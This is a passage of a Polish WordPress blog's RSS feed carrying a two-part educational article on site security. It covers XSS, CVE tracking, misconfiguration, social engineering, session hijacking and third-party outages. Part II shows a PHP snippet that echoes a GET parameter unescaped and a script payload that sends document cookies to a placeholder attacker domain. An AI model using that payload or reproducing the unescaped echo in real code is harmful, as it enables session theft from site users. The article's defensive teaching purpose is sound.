				</div>
				<div class="elementor-element elementor-element-2172ab3 elementor-widget elementor-widget-code-block-for-elementor" data-id="2172ab3" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='theme-okaidia' data-show-toolbar='no'><code class='language-javascript'>&lt;pre&gt;
foo.baz?message=&lt;script&gt;fetch(&lsquo;moja-zla-strona.bu?ciasteczka=&#039; + document.cookies)&lt;/script&gt;
&lt;/pre&gt;</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-81075e7 elementor-widget elementor-widget-text-editor" data-id="81075e7" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Gdyby można było jakoś zgeneralizować czym są ataki typu Cross Site, to prawdopodobnie można by je opisać jako wstrzyknięcie złośliwej treści na stronę.</p><p>Powiedzmy, że posiadamy własną domenę. Nie daje to nam w żaden sposób dostępu do ciasteczek użytkownika z domeny innej strony &#8211; ciasteczka są zawężone do domeny tak by każda strona wiedziała tylko o swoich ciasteczkach.</p><p>Jednak posiadanie własnej domeny pozwala nam podrzucić ofierze link, który stworzy nam pewien obszar ataku.</p><p>Powiedzmy, że strona którą chcemy zaatakować jest pod domeną foo.baz i zawiera kod w stylu:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-acebb52 elementor-widget elementor-widget-code-block-for-elementor" data-id="acebb52" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='theme-okaidia' data-show-toolbar='no'><code class='language-php'>&lt;?php
echo &ldquo;&lt;h1&gt;Sklep z bulbultorami&lt;/h1&gt;&rdquo;;
echo $_GET[&lsquo;message&rsquo;];
?&gt;


</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-888bc16 elementor-widget elementor-widget-text-editor" data-id="888bc16" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Jeśli wejdziemy na taką stronę poprzez:
<pre>
foo.baz?message=Czesc
</pre>
to zobaczymy przyjazną naszym oczom wiadomość, natomiast jeśli użyjemy (uproszczony przykład dla czytelności):								</div>
				</div>
				<div class="elementor-element elementor-element-02aebf1 elementor-widget elementor-widget-code-block-for-elementor" data-id="02aebf1" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='theme-okaidia' data-show-toolbar='no'><code class='language-php'>
foo.baz?message=&lt;script&gt;fetch(&lsquo;moja-zla-strona.bu?ciasteczka=&#039; + document.cookies)&lt;/script&gt;</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-57be8ef elementor-widget elementor-widget-text-editor" data-id="57be8ef" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>to na serwer atakującego zostaną wysłane dane o naszych ciasteczkach.</p><p>Co prawda CMSy takie jak prestashop starają się zabezpieczać ciasteczka wiążąc je z adresem IP użytkownika, lecz w WordPressie tego brak. W ten czy inny sposób dane użytkownika należy chronić.</p><p>Ale ja nie wiem czy mój szablon ma takie wady</p><p>I tu z pomocą przychodzą nam strony zawierające informacje o tzw. CVE (Common Vulnerabilities and Exposures), czyli publicznych zgłoszeniach o lukach w bezpieczeństwie.</p><p>Popularne strony z CVE:</p><p><strong>https://cve.mitre.org/</strong><br /><strong>https://www.cvedetails.com/</strong><br /><strong>https://www.cve.org/</strong></p><p>Co prawda te strony nie pokazują dokładnie jak wykorzystać daną lukę, ale do większości tych informacji da się dojść bo wraz z publikacją CVE traci ona na wartości.</p><p>Dla przykładu możemy dość łatwo znaleźć informacje o ostatniej podatności w WordPressie we wtyczce UpdraftPlus:</p><p><strong>https://www.cvedetails.com/cve/CVE-2022-0633/</strong></p><p>lub</p><p><strong>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0633</strong></p><p>Z racji, że numery CVE są ujednolicone, to wszystkie strony powinny je zawierać a różnić się co najwyżej samym działaniem wyszukiwarki, lub innymi udogodnieniami. Gdybyśmy chcieli zainteresować się API odnośnie CVE to najbliżej było by nam do <strong>https://nvd.nist.gov/</strong> i projektów jak <strong>https://github.com/opencve/opencve</strong></p><p>Sugerujemy znaleźć dogodną dla nas metodę śledzenia nowych CVE i w miarę dostępności aktualizowanie wtyczek podatnych na ataki, lub ich wyłączenie na czas dopóki nie pojawi się aktualizacja.</p><p>W przypadku, gdy nie chcemy odwiedzać powyższych stron, lecz chcemy mieć mimo wszystko jakiś monitoring, np. z pomocą płatnej wersji <strong>https://pl.wordpress.org/plugins/better-wp-security/</strong> , aczkolwiek taki skaner nie jest zbyt skomplikowany do napisania samemu jeśli tylko wejdziemy w posiadanie dostępów do jednego z API CVE.</p><p>W tej kwestii to by było wszystko co można powiedzieć o wtyczkach, których sami nie piszemy a jedynie instalujemy. </p>								</div>
				</div>
				<div class="elementor-element elementor-element-c42a216 elementor-widget elementor-widget-heading" data-id="c42a216" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Zła konfiguracja</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-12c4230 numerowanie elementor-widget elementor-widget-text-editor" data-id="12c4230" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Z racji, że w założeniu korzystamy ze środowisk współdzielonych, gdzie dostawca winien jest dołożyć trochę starań o to by serwer WWW był poprawnie skonfigurowany pod względem bezpieczeństwa, zostanie tu stworzona lista lista najpopularniejszych błędów w konfiguracji aplikacji webowych

<ol>Złe uprawnienia do plików
<ul>
<li>Jeśli kiedyś rozwiązałeś/aś problem za pomocą nadania pełnych uprawnień każdemu do katalogu (chmod 777), to prawdopodobnie było to złe rozwiązanie</li>
<li>Zazwyczaj dla katalogów ustawia się 755, a dla plików 644, lecz nie jest to złota zasada i dla poszczególnych plików w WP i PS mogą być to inne uprawnienia.</li>
</ul>
</ol>
<ol>
Włączony tryb debugowania
<ul>
<li>Za każdym razem, gdy w naszym systemie wystąpi błąd to wyświetli się on na ekranie. Stety / niestety potrafi on pokazać więcej informacji niż jest to konieczne, w tym dane dostępowe</li>
</ul>
</ol>
<ol>Brak środowiska testowego
<ul>
<li>W miarę możliwości zawsze staramy się nowe zmiany testować na lokalnym środowisku</li>
</ul>
</ol>
<ol>
Backup
<ul>
<li>Backup powinien być przechowywany na serwerze zewnętrznym, a nie na tym samym co działająca aplikacja</li>
</ul>
</ol>
<ol>Korzystanie z wtyczek z zaszyfrowanym kodzie, np. z pomocą IonCube
<ul>
<li>Oddajemy w ten sposób praktycznie dostęp do naszego serwera autorowi wtyczki. Nie znając kodu jaki jest uruchamiany popełniamy zbrodnię na cyberbezpieczeństwie</li>
</ul>
</ol>
								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/bezpieczenstwo-w-wordpress-cz-ii/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bezpieczeństwo w wordpress cz. I</title>
		<link>https://sklep.kobietakoduje.pl/bezpieczenstwo-w-wordpress-cz-i/</link>
					<comments>https://sklep.kobietakoduje.pl/bezpieczenstwo-w-wordpress-cz-i/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Wed, 02 Mar 2022 16:55:21 +0000</pubDate>
				<category><![CDATA[IT]]></category>
		<category><![CDATA[Strona www]]></category>
		<category><![CDATA[Woocommerce]]></category>
		<category><![CDATA[Wordpress www]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3247</guid>

					<description><![CDATA[<p>Bezpieczeństwo ogółem Z racji, że temat cyberbezpieczeństwa jest dość rozległym zagadnieniem, to zanim przejdziemy do miejsca w którym znajduje się tu WordPress należy przedstawić nieco szerszy obraz rzeczywistości w jakiej się znajdujemy, w jakim środowisku pracujemy, i co możemy z nim zrobić by zwiększyć bezpieczeństwo naszej strony. Wyróżniamy co najmniej cztery najpopularniejsze środowiska na jakich [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3247" class="elementor elementor-3247" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-4941084 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="4941084" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-baf2430" data-id="baf2430" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-142d551 elementor-widget elementor-widget-heading" data-id="142d551" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Bezpieczeństwo ogółem</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-dc8359f elementor-widget elementor-widget-text-editor" data-id="dc8359f" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Z racji, że temat cyberbezpieczeństwa jest dość rozległym zagadnieniem, to zanim przejdziemy do miejsca w którym znajduje się tu WordPress należy przedstawić nieco szerszy obraz rzeczywistości w jakiej się znajdujemy, w jakim środowisku pracujemy, i co możemy z nim zrobić by zwiększyć bezpieczeństwo naszej strony.</p><p>Wyróżniamy co najmniej cztery najpopularniejsze środowiska na jakich możemy znaleźć strony internetowe:</p><ul><li>Serwer VPS &#8211; środowisko do którego mamy zazwyczaj dostęp na poziomie superużytkownika, będące najbardziej opłacalne uwzględniając kwestię cena / jakość. Wymaga ono jednak podstawowej wiedzy z zakresu administracji serwerami na poziomie konsoli by móc je w pełni wykorzystać. Plusem środowisk VPS jest uproszczone zarządzanie kopiami zapasowymi dzięki często oferowanym (dodatkowo płatnym) automatycznym kopiom zapasowym.</li><li>Serwer dedykowany &#8211; kolokwialnie “VPS na sterydach” za odpowiednio wyższą cenę. W odróżnieniu od serwerów VPS jesteśmy w pełni odpowiedzialni za organizację kopii zapasowych. Zyskujemy największą wydajność kosztem obciążenia nas zorganizowaniem częściowych zabezpieczeń infrastruktury</li><li>Serwer współdzielony &#8211; serwer którego zasoby są współdzielone z innymi użytkownikami. Zazwyczaj oferują możliwość instalacji aplikacji z poziomu panelu administracyjnego metodami “1-click” i otrzymaniu dostępu FTP. Tu podobnie jak w funkcjach VPS możemy liczyć na kopie zapasowe jako element wliczony w cenę. Wybierając tę opcję bezpieczeństwo infrastruktury (nie aplikacji) zrzucamy praktycznie na dostawcę usługi.</li><li>Chmura &#8211; najczęściej skonteneryzowana sieć serwerów zarówno dedykowanych jak i VPSów. W tym rozproszonym środowisku publiczne CMSy praktycznie nie występują, lub ich obecność tam jest drogą pod górę ponieważ aplikacje w środowiskach chmurowych powinny być odpowiednio zaprojektowane u podstaw czego WordPress z racji powstania zanim chmury zostały spopularyzowane nie spełnia.</li></ul><p>W przypadku, gdy nie mamy doświadczenia w konfiguracji środowisk “od zera” jako superużytkownik, to zostaje nam efektywnie wybór środowisk współdzielonych. Praktycznie każda firma hostingowa ma w swojej ofercie takie środowiska i są one w skali roku najtańszym rozwiązaniem spośród wszystkich wyżej wymienionych.</p>								</div>
				</div>
				<div class="elementor-element elementor-element-bef8565 elementor-widget elementor-widget-heading" data-id="bef8565" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Ważne</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-1976925 elementor-widget elementor-widget-text-editor" data-id="1976925" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Dalsza część artykułu wymaga ode mnie jako autora zawarcia informacji, że treści tu zawarte mają charakter czysto edukacyjny i nie mogą stanowić dla czytelnika źródła wiedzy służącej łamaniu prawa, lub działania na cudzą niekorzyść.</p><p>Testując cudzą własność pod kątem cyberbezpieczeństwa musimy uzyskać od tej osoby zgodę na wykonanie tych czynności, w przeciwnym razie następuje łamanie prawa.</p><p>Mając tę kwestię za nami, można przejść do kolejnej części.</p>								</div>
				</div>
				<div class="elementor-element elementor-element-ab7ec6d elementor-widget elementor-widget-heading" data-id="ab7ec6d" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Wektor ataktu</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-ff1a0c4 elementor-widget elementor-widget-text-editor" data-id="ff1a0c4" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Popularny buzzword w IT służący do określenia metodyki jaką atakujący stronę użytkownik zamierza zastosować. Na potrzeby wizualizacji popularnych wektorów ataku przygotowałem poniższą ilustrację
:								</div>
				</div>
				<div class="elementor-element elementor-element-6d83ae2 elementor-widget elementor-widget-image" data-id="6d83ae2" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="456" height="512" src="https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku.png" class="attachment-large size-large wp-image-3249" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku.png 456w, https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku-267x300.png 267w" sizes="(max-width: 456px) 100vw, 456px" />															</div>
				</div>
				<div class="elementor-element elementor-element-08c85ec elementor-widget elementor-widget-text-editor" data-id="08c85ec" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Niektóre z tych słów mówią same za siebie, inne mogą wymagać pewnych wyjaśnień, więc spróbujemy zawęzić je do tych, które są dla nas najbardziej ryzykowne na środowiskach współdzielonych.

Dla uproszczenia zamieszczam tę ilustrację ponownie zostawiając to na czym powinniśmy się skupić najbardziej, czyli:
								</div>
				</div>
				<div class="elementor-element elementor-element-294e182 elementor-widget elementor-widget-image" data-id="294e182" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="512" height="509" src="https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku-hakerskiego.png" class="attachment-large size-large wp-image-3250" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku-hakerskiego.png 512w, https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku-hakerskiego-100x100.png 100w, https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku-hakerskiego-300x298.png 300w, https://sklep.kobietakoduje.pl/wp-content/uploads/wektor-ataku-hakerskiego-150x150.png 150w" sizes="(max-width: 512px) 100vw, 512px" />															</div>
				</div>
				<div class="elementor-element elementor-element-c0be2e4 elementor-widget elementor-widget-text-editor" data-id="c0be2e4" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Tak więc zacznijmy od czegoś, co w dzisiejszych czasach jest najbardziej popularnym powodem włamań &#8211; człowiek.								</div>
				</div>
				<div class="elementor-element elementor-element-7a42573 elementor-widget elementor-widget-heading" data-id="7a42573" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Człowiek</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-7b82b2f elementor-widget elementor-widget-text-editor" data-id="7b82b2f" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>I to nie ten, który dokonuje samego włamania &#8211; pomylimy przyczynę ze skutkiem. W ramach powiedzenia “lepiej zapobiegać niż leczyć” warto jest przeszkolić osoby mające dostęp administracyjny w taki sposób by były one wyczulone na najpopularniejsze techniki manipulacji w sieci.</p><p>Za psychologa się nie uważam, natomiast za kogoś kto dostał dziesiątki maili tego rodzaju już chyba mogę. Jako przykład jednej z ciekawszych prób oszustwa mogłabym przytoczyć historię w której dostałam email informujący mnie o tym, że pewna domena X.pl w której jestem posiadaniu naraża mnie na nieprzyjemności karne związane z tym, że koncern nadawcy zastrzegł sobie prawa do tej nazwy przed tym jak zarejestrowałem daną domenę. Niewiele myśląc odpisałam coś w stylu “no i?” wiedząc, że to za mało by móc wygrać sprawę w sądzie. W odpowiedzi uzyskałem coś bardziej ciekawego bo propozycję wykupienia nazwy pod innymi domenami (eu, dev, biz, etc.) za grosze, co właściwie mogłabym zrobić i bez ich namowy (to dobra praktyka), gdyby to nie była moja strona o niskiej dla mnie wadze. Uświadomiłam sobie, że to nie jest już rozmowa z botem, tylko przydzielono do mnie kogoś kto miał ten angielski na poziomie komunikatywnym. Jak się później okazało po drobnym researchu linki jakie zostały mi podesłane kierowały na serwery w Chinach, a że Chiny są skrajnie na bakier z poszanowaniem praw od razu przestałam sobie zawracać głowę tematem. Uzupełniłam tylko w miarę możliwości swój research i okazało się, że firma rzekomo oferująca te domeny miała skrajnie niesymetryczne umowy obciążają klientów dużymi kwotami.</p><p>Jestem skłonna uwierzyć, że dużo osób dało by się przekonać do zakupu większej ilości domen dla zabezpieczenia ich interesu.</p><p>Przykładów tego typu podejść można znaleźć mnóstwo, natomiast to co się powtarza w nich regularnie to:</p><p>-wywołanie u ofiary wrażenia, że sytuacja jest poważna<br />-zbudowanie atmosfery w której wierzymy, że osoba z którą piszemy jest po naszej stronie i stara się nam pomóc, lub też znaleźć kompromis<br />-jeśli możliwe &#8211; wywołanie presji czasu, lub stworzenie odpowiedniego momentu, np.<br />przed godziną 17stą gdy ludzie chcą szybko skończyć prace bo są zmęczeni &#8211; zwłaszcza na koniec tygodnia lub na koniec roku, gdzie zazwyczaj panują pewne zawirowania prawne i łatwiej jest wpędzić przedsiębiorców w błąd na podstawie plotek</p><p>Gdybym miała wskazać kilka punktów które pomagają znacznie zredukować ryzyko bycia oszukanym:</p><ul><li>Nigdy nie pozwalamy, by to ktoś decydował za nas, że coś jest ważne. Atakujący chce nam narzucić narrację, którą niekoniecznie przestudiujemy, i paradoksalnie coś co jest ważne dla niego może dla nas nie mieć znaczenia.</li><li>Zawsze w chwilach niepewności podważamy najprostsze założenia &#8211; czy osoba, która do nas dzwoni to na pewno osoba, za którą się podaje? Czy adres email z którego do nas piszą to na pewno oficjalny email firmy? Czy adres zawiera jedynie podobny znak do tego z nazwy firmy, etc…</li><li>Zawsze w przypadku, gdy ktoś nam grozi musimy do tego podejść od strony prawa a nie emocji. Weryfikujemy prawdomówność takiej osoby na podstawie własnej wiedzy, ewentualnie porady prawniczej. Ogólne domniemanie niewinności wymaga od osoby po drugiej stronie przedstawienia realnych informacji do których jako oszust nie powinien mieć dostępu.</li><li>Nigdy nie podajemy danych prywatnych osobom które się z nami kontaktują &#8211; jeżeli jest to pracownik banku, to te dane już ma, jeżeli rozmówca prosi o potwierdzenie informacji, do których potencjalnie ma lub powinien mieć dostęp &#8211; rozłączamy się. To on wykonuje telefon.</li></ul>								</div>
				</div>
				<div class="elementor-element elementor-element-3513f3a elementor-widget elementor-widget-heading" data-id="3513f3a" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">HiJacking</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-cf64dd7 elementor-widget elementor-widget-text-editor" data-id="cf64dd7" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									A właściwie to session hijacking, czyli przejęcie danych pozwalających na nawiązanie połączenia z serwerem w Twoim imieniu.

Chodzi o login i hasło?

Nie. Chodzi o dane, które otrzymujemy po poprawnym zalogowaniu się na stronie.

Trzeba tu trochę wspomnieć o tym jak działa protokół HTTP. Dawno dawno temu gdy strony internetowe nie były niczym innym niż jednokierunkowym źródłem informacji, w których odbiorca nie miał możliwości komentowania, w którym nie było takich rzeczy jak wyrafinowane statystyki odwiedzin, a cała strona to mógł być jedynie kod HTML, nie było wtedy sesji &#8211; połączenie było tzw. stateless i taki też jest protokół HTTP.

Czasy zmieniły się dawno temu i standardem jest, że niemal każda strona internetowa musi mieć jakąś informację związaną z danym użytkownikiem, nawet jeśli nie chodzi o samo logowanie. Poruszając się po stronie możemy zapisywać przeróżne ciasteczka pozwalające nam bez bycia zalogowanym utrzymywać wymianę informacji z serwerem, oraz zapisywać o nas informacje na serwerze.

Przykładowo:
								</div>
				</div>
				<div class="elementor-element elementor-element-b36b1e5 elementor-widget elementor-widget-image" data-id="b36b1e5" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="512" height="265" src="https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat.png" class="attachment-full size-full wp-image-3258" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat.png 512w, https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat-300x155.png 300w" sizes="(max-width: 512px) 100vw, 512px" />															</div>
				</div>
				<div class="elementor-element elementor-element-bb0861d elementor-widget elementor-widget-text-editor" data-id="bb0861d" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Użytkownik za pomocą przeglądarki wchodzi na stronę zajmującą się dostarczaniem żywności pod wskazany adres. Adres użytkownika można przechować na kilka sposobów, lecz najprościej jest zapisać go w sesji tak by większość informacji można było dla użytkownika spersonalizować przy ich wyświetlaniu, i nie pytać go o to co chwilę.</p><p>I co to ma do mojego bezpieczeństwa?</p><p>Specjalnie pogrubiłam tutaj słowo sesja ponieważ jest ono mylone z samymi ciasteczkami.<br />Uzupełnię teraz trochę diagram o kilka bloków więcej:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-2dc2e1a elementor-widget elementor-widget-image" data-id="2dc2e1a" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="512" height="214" src="https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat2.png" class="attachment-full size-full wp-image-3259" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat2.png 512w, https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat2-300x125.png 300w" sizes="(max-width: 512px) 100vw, 512px" />															</div>
				</div>
				<div class="elementor-element elementor-element-146a0d5 elementor-widget elementor-widget-text-editor" data-id="146a0d5" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									I okazuje się, że ciasteczka to nie jedyne miejsce, gdzie można przechowywać dane użytkownika

Trochę się gubię

Uprośćmy to do tego, że w większości przypadków w ciasteczkach znajduje się hash naszej sesji, a dopiero sesja przechowuje nasze bardziej prywatne dane. Dzięki temu prywatne dane znajdują się na serwerze w sesjach a nie w ciasteczkach i przeglądarce:
								</div>
				</div>
				<div class="elementor-element elementor-element-4b7e17d elementor-widget elementor-widget-image" data-id="4b7e17d" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="512" height="204" src="https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat3.png" class="attachment-full size-full wp-image-3260" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat3.png 512w, https://sklep.kobietakoduje.pl/wp-content/uploads/HiJacking-schemat3-300x120.png 300w" sizes="(max-width: 512px) 100vw, 512px" />															</div>
				</div>
				<div class="elementor-element elementor-element-dcbb84c elementor-widget elementor-widget-text-editor" data-id="dcbb84c" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Czyli mając wartość ciasteczka innej osoby można się efektywnie pod nią podszyć?</p><p>Tak, jeśli wykradamy ciasteczko zawierające hash naszej sesji z serwerem to jest to wtedy session hijacking i z jego pomocą możemy uzyskać taki efekt jakbyśmy byli danym użytkownikiem.</p><p>Ale to nie moja wina, że użytkownikowi ktoś ukradł ciasteczka</p><p>Może. Na pewno można utrudnić nieco ten proces przez instalację certyfikatu SSL. Zazwyczaj taki certyfikat sprzedawany jest przez webhosting, chociaż osobiście polecam skorzystać z Let’s Encrypt, lub wtyczki Really Simple SSL.</p><p>To takie proste?</p><p>Niestety nie do końca. Sposobów na wykradnięcie ciasteczek użytkownika jest bardzo dużo, i często jest to z winy nietechnicznego użytkownika (otwieranie złośliwych linków, lewe wtyczki do przeglądarki, wirusy, etc.). To co my możemy zrobić to upewnić się, że sami nie instalujemy na naszej stronie podatnych wtyczek, czy dziurawych szablonów o czym będzie potem.</p>								</div>
				</div>
				<div class="elementor-element elementor-element-8f80a79 elementor-widget elementor-widget-heading" data-id="8f80a79" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Dostawcy trzeci</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-f979681 elementor-widget elementor-widget-text-editor" data-id="f979681" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Dużo się ostatnio mówi o tym, że jakaś strona ma problemy z działaniem bo, np. AWS ma problemy ze swoimi usługami, ale my tutaj skupimy się bardziej na ekosystemie wtyczek.</p><p>Czy wiesz, że duża ilość wtyczek nie realizuje swojej funkcjonalności bezpośrednio u Ciebie na serwerze? Ta lista funkcjonalności to nie tylko notyfikowanie użytkownika o nowym CVE dla jednej ze wtyczek na serwerze &#8211; to akurat miałoby prawo nie zadziałać, bo na kolejny dzień prawdopodobnie zostałoby naprawione i dla zdecydowanej większości stron nie miało by to znaczenia.</p><p>Co jeżeli taka wtyczka jest kluczowa dla działania naszej strony? Np. ReCaptcha?</p><p>Ten przykład został wzięty jako pierwszy z brzegu, i w momencie pisania tego artykułu można zaobserwować na stronie <strong>https://downdetector.com</strong> następujący wykres:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-f6c56b0 elementor-widget elementor-widget-image" data-id="f6c56b0" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="512" height="209" src="https://sklep.kobietakoduje.pl/wp-content/uploads/dostawcy-trzeci-recaptcha.png" class="attachment-large size-large wp-image-3264" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/dostawcy-trzeci-recaptcha.png 512w, https://sklep.kobietakoduje.pl/wp-content/uploads/dostawcy-trzeci-recaptcha-300x122.png 300w" sizes="(max-width: 512px) 100vw, 512px" />															</div>
				</div>
				<div class="elementor-element elementor-element-d547f4c elementor-widget elementor-widget-text-editor" data-id="d547f4c" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Z jednej strony nie wygląda to jak globalna awaria, lecz z drugiej jeśli spojrzymy w komentarze:								</div>
				</div>
				<div class="elementor-element elementor-element-ba574b2 elementor-widget elementor-widget-image" data-id="ba574b2" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="512" height="111" src="https://sklep.kobietakoduje.pl/wp-content/uploads/dostawcy-trzeci-recaptcha2.png" class="attachment-large size-large wp-image-3265" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/dostawcy-trzeci-recaptcha2.png 512w, https://sklep.kobietakoduje.pl/wp-content/uploads/dostawcy-trzeci-recaptcha2-300x65.png 300w" sizes="(max-width: 512px) 100vw, 512px" />															</div>
				</div>
				<div class="elementor-element elementor-element-7e5d0b5 elementor-widget elementor-widget-text-editor" data-id="7e5d0b5" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>To zobaczymy jak niektórym może to napsuć w życiu. Co gdyby zacytowany wyżej Peter był klientem naszego sklepu? Niezależnie od tego czy sklep nie działa bo ktoś wykonał na nim atak DDoSowy czy nie, to efekt jest ten sam &#8211; system leży i nie wstaje.</p><p>Bronienie się przed tego rodzaju problemami zazwyczaj składa się z następujących rozwiązań:</p><ul><li>Nie instalujemy kodu realizującego usługi przez serwery pośrednika, jeżeli nie ma takiej potrzeby. W przypadku captchy powinniśmy być w stanie znaleźć wystarczająco dobrą alternatywę.</li><li>Instalujemy więcej niż jedną wtyczkę realizującą te samą funkcjonalność, tak by w przypadku awarii w, np. InPost móc użyć kuriera UPS/DHL, lub w przypadku awarii Przelewy24 użyć PayU (kolejność wymienionych produktów jest losowa).</li></ul>								</div>
				</div>
				<div class="elementor-element elementor-element-c801b75 elementor-widget elementor-widget-button" data-id="c801b75" data-element_type="widget" data-e-type="widget" data-widget_type="button.default">
				<div class="elementor-widget-container">
									<div class="elementor-button-wrapper">
					<a class="elementor-button elementor-button-link elementor-size-sm" href="https://kobietakoduje.pl/bezpieczenstwo-w-wordpress-cz-ii">
						<span class="elementor-button-content-wrapper">
						<span class="elementor-button-icon">
				<i aria-hidden="true" class="fas fa-arrow-right"></i>			</span>
									<span class="elementor-button-text">Przejdź do II cz. artykułu</span>
					</span>
					</a>
				</div>
								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/bezpieczenstwo-w-wordpress-cz-i/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 
